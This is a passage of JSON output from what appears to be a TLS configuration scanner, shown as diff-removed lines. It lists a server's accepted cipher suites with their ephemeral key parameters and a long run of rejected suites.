"ECDH", - "x": "KMD1zahBtCYwpd2Y9jkKvVXlENwkBrH/TmBK7kHvpAc=", - "y": "XqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=" - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES128-SHA" - }, - "ephemeral_key": { - "curve_name": "prime256v1", - "generator": null, - "prime": null, - "public_bytes": "BCjA9c2oQbQmMKXdmPY5Cr1V5RDcJAax/05gSu5B76QHXqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=", - "size": 256, - "type_name": "ECDH", - "x": "KMD1zahBtCYwpd2Y9jkKvVXlENwkBrH/TmBK7kHvpAc=", - "y": "XqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=" - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "DHE-RSA-AES256-GCM-SHA384" - }, - "ephemeral_key": { - "curve_name": null, - "generator": "Ag==", - "prime": "//////////+t+FRYortKmq/cViAnPTzx2LnFg84tNpWp4TZBFGQz+8yTnc4kmz75fS/jY2MMddj2gbICrsRhetPfHtXV/WVhJDP1H18GbtCFY2VVPe0a87VXE15/V8k1mE8McODmi3fipona8+/och3xWKE2rec1MKzKT0g6eXq8CrGCsyT7YdEIqUuyyOP7uWrat2DX9GgdT0Kj3jlN9K5W7edjcrsZCwenyO4KbXCeAvzhzffi7MA0BM0oNC9hkXL+nOmFg/+OTxIy7vKBg8P+OxtMb61zO7X8vC7CIAXFjvGDfRaDssbzSibBsu/6iGtCOGEoXJf//////////w==", - "public_bytes": "yzswCTYtD/R6+zFBbd145VirFncgJXxsXxvNxjrBq3R4DIxmNqFW1pGIAvjQnsFSm74QfFnaxxlXRc30nrhiI6zy3UP8IxlnjDumhpFC7fcFK4vKHLC6R6wXyXr70t6BrityxgvrScs0OKNWZJKk8xqkC23HMq8bc9U7qMiyayNQkDFTCchRFSnEMinPMXDOoANOlm0McCVUADVinxNYciGdPh85bAcU85zCvP0A38S9bXVqY+ucY+m20E75yNhPg6K73sF5Cve5oc8SDalha9iXD+xOo35nPlHSqnwKms/RJ0UddHwXXdKg879rAifu8V6eqoxKvHpxuwCTVNMKqQ==", - "size": 2048, - "type_name": "DH", - "x": null, - "y": null - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "DHE-RSA-AES128-GCM-SHA256" - }, - "ephemeral_key": { - "curve_name": null, - "generator": "Ag==", - "prime": "//////////+t+FRYortKmq/cViAnPTzx2LnFg84tNpWp4TZBFGQz+8yTnc4kmz75fS/jY2MMddj2gbICrsRhetPfHtXV/WVhJDP1H18GbtCFY2VVPe0a87VXE15/V8k1mE8McODmi3fipona8+/och3xWKE2rec1MKzKT0g6eXq8CrGCsyT7YdEIqUuyyOP7uWrat2DX9GgdT0Kj3jlN9K5W7edjcrsZCwenyO4KbXCeAvzhzffi7MA0BM0oNC9hkXL+nOmFg/+OTxIy7vKBg8P+OxtMb61zO7X8vC7CIAXFjvGDfRaDssbzSibBsu/6iGtCOGEoXJf//////////w==", - "public_bytes": "UWlWCRY87WX6GIIjS8widsSA9zzlzX3zXH2JtCRNVd4nCR6M7PdUUfQQEdoijtnmaLLx4v/chG5QI2o3TjKpWUwIyvMDLd8EnAfpDwjjknPW+5GhM+awtLkr8Dio8+ShLiJgIsQZwkCKeUtnpaL1KAqLUqiFqL6fVpQLqko3cd6zdHdp0MJZ7FXMrARyITTg4sK+rGsu1mxmOikm6a2v7HuHqLpJQ/2EskltoLX+4Ij+KKraJLToT3BphsnixHLKJxIxnSwoNVe9jA/YNO73aWvszh4xB0V6sumRCdoTUqy+9PB4WC8Lt/p9GPI9QmU2A6gY0b0PafKBBp/7P6z27A==", - "size": 2048, - "type_name": "DH", - "x": null, - "y": null - } - } - ], - "is_tls_version_supported": true, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_SHA", - "openssl_name": "RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_MD5", - "openssl_name": "RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_SHA256", - "openssl_name": "NULL-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_SHA", - "openssl_name": "NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_MD5", - "openssl_name": "NULL-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_IDEA_CBC_SHA", - "openssl_name": "IDEA-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256", - "openssl_name": "CAMELLIA256-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256", - "openssl_name": "CAMELLIA128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_ARIA_256_GCM_SHA384", - "openssl_name": "ARIA256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_ARIA_128_GCM_SHA256", - "openssl_name": "ARIA128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_256_CCM_8", - "openssl_name": "AES256-CCM8" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CCM", - "openssl_name": "AES256-CCM" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CCM_8", - "openssl_name": "AES128-CCM8" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CCM", - "openssl_name": "AES128-CCM" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", - "openssl_name": "EXP-RC2-CBC-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", - "openssl_name": "AECDH-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 0, - "name": "TLS_ECDH_anon_WITH_NULL_SHA", - "openssl_name": "AECDH-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "AECDH-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "AECDH-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "AECDH-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-RSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_RSA_WITH_NULL_SHA", - "openssl_name": "ECDH-RSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "ECDH-RSA-AES256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384", - "openssl_name": "ECDH-RSA-AES256-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "ECDH-RSA-AES128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "ECDH-RSA-AES128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-ECDSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDH-ECDSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "ECDH-ECDSA-AES256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384", - "openssl_name": "ECDH-ECDSA-AES256-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "ECDH-ECDSA-AES128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "ECDH-ECDSA-AES128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-RSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-RSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256", - "openssl_name": "ECDHE-RSA-CHACHA20-POLY1305" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384", - "openssl_name": "ECDHE-RSA-CAMELLIA256-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256", - "openssl_name": "ECDHE-RSA-CAMELLIA128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_ARIA_256_GCM_SHA384", - "openssl_name": "ECDHE-ARIA256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_ARIA_128_GCM_SHA256", - "openssl_name": "ECDHE-ARIA128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-ECDSA-RC4-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-ECDSA-NULL-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256", - "openssl_name": "ECDHE-ECDSA-CHACHA20-POLY1305" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384", - "openssl_name": "ECDHE-ECDSA-CAMELLIA256-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256", - "openssl_name": "ECDHE-ECDSA-CAMELLIA128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_ARIA_256_GCM_SHA384", - "openssl_name": "ECDHE-ECDSA-ARIA256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_ARIA_128_GCM_SHA256", - "openssl_name": "ECDHE-ECDSA-ARIA128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "ECDHE-ECDSA-AES256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8", - "openssl_name": "ECDHE-ECDSA-AES256-CCM8" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CCM", - "openssl_name": "ECDHE-ECDSA-AES256-CCM" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384", - "openssl_name": "ECDHE-ECDSA-AES256-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "ECDHE-ECDSA-AES128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8", - "openssl_name": "ECDHE-ECDSA-AES128-CCM8" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CCM", - "openssl_name": "ECDHE-ECDSA-AES128-CCM" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "ECDHE-ECDSA-AES128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", - "openssl_name": "ADH-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_RC4_128_MD5", - "openssl_name": "ADH-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 56, - "name": "TLS_DH_anon_WITH_DES_CBC_SHA", - "openssl_name": "ADH-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "ADH-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "ADH-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_GCM_SHA384", - "openssl_name": "ADH-AES256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA256", - "openssl_name": "ADH-AES256-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "ADH-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_GCM_SHA256", - "openssl_name": "ADH-AES128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA256", - "openssl_name": "ADH-AES128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "ADH-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ADH-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-ADH-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-ADH-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DH-RSA-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_GCM_SHA384", - "openssl_name": "DH-RSA-AES256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA256", - "openssl_name": "DH-RSA-AES256-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-RSA-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_GCM_SHA256", - "openssl_name": "DH-RSA-AES128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA256", - "openssl_name": "DH-RSA-AES128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-RSA-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DH-DSS-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_GCM_SHA384", - "openssl_name": "DH-DSS-AES256-GCM-SHA384" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA256", - "openssl_name": "DH-DSS-AES256-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-DSS-AES256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_GCM_SHA256", - "openssl_name": "DH-DSS-AES128-GCM-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA256", - "openssl_name": "DH-DSS-AES128-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-DSS-AES128-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC3-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-RSA-SEED-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256", - "openssl_name": "DHE-RSA-CHACHA20-POLY1305" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256", - "openssl_name": "DHE-RSA-CAMELLIA256-SHA256" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA256-SHA" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256", - "openssl_name": "DHE-RSA-CAMELLIA128-SHA256" - }, - "error_message": "Server rejected the 